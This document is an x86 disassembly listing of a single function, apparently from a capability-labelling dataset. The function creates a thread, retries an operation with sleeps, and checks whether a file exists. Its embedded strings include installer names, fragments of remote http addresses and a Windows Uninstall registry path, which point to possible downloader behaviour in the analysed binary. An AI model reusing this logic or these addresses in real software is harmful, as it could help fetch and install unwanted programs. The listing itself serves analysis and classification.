Function at 0x416a20
Capabilities:
Check if file exists
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5338e5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x40], esi
mov ecx, 0x570852
mov dword [ebp - 4], 0
call fcn.005040ed
push 0x108
lea eax, [ebp - 0x1a4]
push 0
push eax
call fcn.005073b0
mov eax, dword [esi + 4]
add esp, 0xc
mov dword [ebp - 0x9c], 0
mov eax, dword [eax]
push 0
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0x30]
push 0
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x1a8]
push eax
push 0x417e20
push 0
push 0
mov dword [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xorps xmm0, xmm0
mov dword [ebp - 0x38], eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 1
call fcn.004087d0
movaps xmm0, xmmword [0x539e40]
lea ecx, [ebp - 0x63]
cmp eax, 0x40
mov byte [ebp - 0x64], 0
lea eax, [ebp - 0xd]
push eax
movups xmmword [ebp - 0x94], xmm0
lea edx, [ebp - 0x94]
movaps xmm0, xmmword [0x539df0]
push ecx
movups xmmword [ebp - 0x84], xmm0
push edx
lea ecx, [ebp - 0x50]
jne 0x416b1d
movaps xmm0, xmmword [str.Installerx64_173Installerx86_17390SbYonwCwlsnoW7ome.net_bropkg_GiexlywxlwcusuwncftWindowsCurrehttp:__work.yhyhSOFTWAREMicrosohttp:__dw.gptchrntVersionUninstydhffhJsffFEfvgy]
movups xmmword [ebp - 0x74], xmm0
call fcn.00404080
mov byte [ebp - 4], 2
jmp 0x416b31
movaps xmm0, xmmword [0x539dd0]
movups xmmword [ebp - 0x74], xmm0
call fcn.00404080
mov byte [ebp - 4], 3
push dword [eax]
lea ecx, [ebp - 0x2c]
call fcn.00412400
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.0040b970
or esi, 0xffffffff
cmp dword [ebp - 0x1c], 0
jne 0x416b59
mov byte [ebp - 0xd], 0
jmp 0x416d12
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x44]
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.00403ce0
mov byte [ebp - 4], 4
mov dword [ebp - 0x34], 0
nop dword [eax + eax]
push 0
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x30], 0
push eax
mov eax, dword [ebp + 8]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0x60], esp
mov esi, esp
push eax
mov dword [ebp - 0x14], esi
call fcn.00404bb0
add eax, 0x10
mov dword [esi], eax
sub esp, 0x14
mov byte [ebp - 4], 5
mov edi, esp
lea ecx, [ebp - 0x2c]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x3c], eax
cmp eax, 0x7fffffff
ja 0x416d8c
mov dword [edi + 0x14], 0xf
cmp eax, 0x10
jae 0x416c00
push 0x10
push ecx
push edi
mov dword [edi + 0x10], eax
call fcn.00506e30
jmp 0x416c40
mov esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x416c14
mov esi, bind
jmp 0x416c1f
cmp esi, 0x16
mov eax, 0x16
cmovb esi, eax
lea eax, [esi + 1]
mov ecx, edi
push eax
call fcn.004029a0
mov ecx, dword [ebp - 0x3c]
mov dword [edi + 0x10], ecx
inc ecx
push ecx
push dword [ebp - 0x14]
mov dword [edi], eax
push eax
mov dword [edi + 0x14], esi
call fcn.00506e30
add esp, 0xc
mov byte [ebp - 4], 4
call fcn.00410170
add esp, 0x24
test al, al
jne 0x416c85
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 5
jl 0x416b80
push 0xffffffffffffffff
push dword [ebp - 0x38]
mov dword [ebp - 0x9c], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x416ced
push 0xffffffffffffffff
push dword [ebp - 0x38]
mov byte [ebp - 0xd], 1
mov dword [ebp - 0x9c], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x416cf1
mov ecx, dword [ebp - 0x40]
lea eax, [ebp - 0x5c]
push 0x12
push eax
call fcn.00417790
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x416ced
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416ce3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d91
push ecx
push edx
call fcn.005040df
add esp, 8
mov byte [ebp - 0xd], 0
mov edx, dword [ebp - 0x44]
or esi, 0xffffffff
mov byte [ebp - 4], 1
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x416d12
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 4], 0
cmp ecx, 0x10
jb 0x416d46
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416d3c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416d91
push ecx
push edx
call fcn.005040df
add esp, 8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], 0
add eax, 0xfffffff0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov dword [ebp - 4], 0xffffffff
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x416d77
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
call fcn.00402980
call fcn.0050b3af
int3